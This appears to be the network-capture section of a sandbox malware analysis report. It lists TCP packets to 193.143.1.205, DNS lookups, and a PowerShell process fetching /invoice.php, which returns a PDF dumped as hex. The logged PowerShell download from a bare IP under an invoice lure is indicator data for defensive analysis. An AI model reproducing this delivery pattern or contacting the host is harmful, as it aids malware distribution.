Jan 10, 2025 21:09:23.003778934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.007746935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.016221046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.016282082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.016333103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.016335011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.016371965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.016407013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.016463995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.016474009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.016520977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.016546011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.016571045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.016606092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.016633034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.016683102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.016730070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.016733885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.016772032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.016808033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.016834974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.016843081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.016877890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.016907930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.016915083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.016954899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.016967058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.016993046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.017005920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.017014027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.017043114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.017079115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.017107964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.017117023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.017144918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.017173052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.019220114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.031058073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.054816008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.054848909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.054908037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.054935932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.054944992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.054980040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.055011034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.055015087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.055042028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.055052996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.055093050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.055104971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.055133104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.055196047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.055259943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.055289030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.055339098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.055347919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.055401087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.055437088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.055461884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.055470943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.055525064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.055537939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.055562019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.055613041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.055619001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.055665970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.055701017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.055727959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.055735111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.055789948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.055789948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.055826902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.055861950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.055885077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.055886030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.055943966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.055977106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.055995941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.056024075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.056030989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.056067944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.056067944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.056103945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.056118965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.056155920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.056207895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.056209087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.056242943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.056276083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.056291103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.056313038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.056348085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.056368113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.056381941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.056416035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.056447983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.056449890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.056485891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.056509018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.056539059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.056567907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.056588888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.056679964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.056714058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.056749105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.056751013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.056785107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.056799889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.056821108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.056854963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.056874990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.056895018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.056929111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.056941986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.056963921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.056998968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.057013988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.057054043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.057106018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.057106018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.057141066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.057192087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.057194948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.057230949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.057264090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.057287931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.057302952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.057337046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.057363987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.057373047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.057408094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.057425022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.057441950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.057476997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.057507038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.057511091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.057543993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.057555914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.057579041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.057615042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.057626009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.057650089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.057683945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.057699919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.057720900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.057754040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.057775021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.057789087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.057822943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.057841063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.057862997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.057897091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.057912111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.057931900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.057965994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.057980061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.058001041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.058034897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.058054924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.058068991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.058100939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.058119059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.058135033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.058167934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.058186054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.058204889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.058240891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.058249950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.080593109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.093411922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.093440056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.093456030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.093496084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.093519926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.093533039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.093537092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.093533039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.093554974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.093574047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.093576908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.093597889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.106113911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.106128931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.106157064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.106172085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.106183052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.106198072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.106215000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.106225967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.106228113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.106245995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.106282949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.106282949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.106332064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.106348038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.106364965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.106379986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.106381893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.106404066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.106405020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.106420994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.106446981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.106451035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.106463909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.106477976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.106494904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.106498957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.106515884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.106520891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.106544971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.106564999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.106580019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.106576920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.106601954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.106606960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.106637955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.106672049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.106678009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.106709957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.145364046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.145422935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.145474911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.145495892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.145510912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.145562887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.145601034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.145602942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.145638943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.145652056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.145673990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.145709991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.145730972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.145742893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.145780087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.145801067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.145813942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.145849943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:23.145870924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.175972939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.187854052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:23.387989044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:24.258925915 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:24.264147043 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:24.264480114 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:24.264480114 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:24.269408941 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:25.093611956 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 21:09:25.147093058 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:09:25.264036894 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:09:37.400053024 CET	52168	53	192.168.2.5	1.1.1.1
Jan 10, 2025 21:09:51.064218044 CET	60487	53	192.168.2.5	1.1.1.1
Jan 10, 2025 21:10:03.460644007 CET	52993	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 21:09:37.400053024 CET	192.168.2.5	1.1.1.1	0xc670	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:09:51.064218044 CET	192.168.2.5	1.1.1.1	0x4cd2	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:10:03.460644007 CET	192.168.2.5	1.1.1.1	0x1df2	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 10, 2025 21:09:37.407376051 CET	1.1.1.1	192.168.2.5	0xc670	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:09:51.072967052 CET	1.1.1.1	192.168.2.5	0x4cd2	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:10:03.468183041 CET	1.1.1.1	192.168.2.5	0x1df2	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	6192	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:09:21.559572935 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 21:09:22.360220909 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:09:22 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 21:09:22.360286951 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 21:09:22.360327005 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 21:09:22.360364914 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 21:09:22.360416889 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
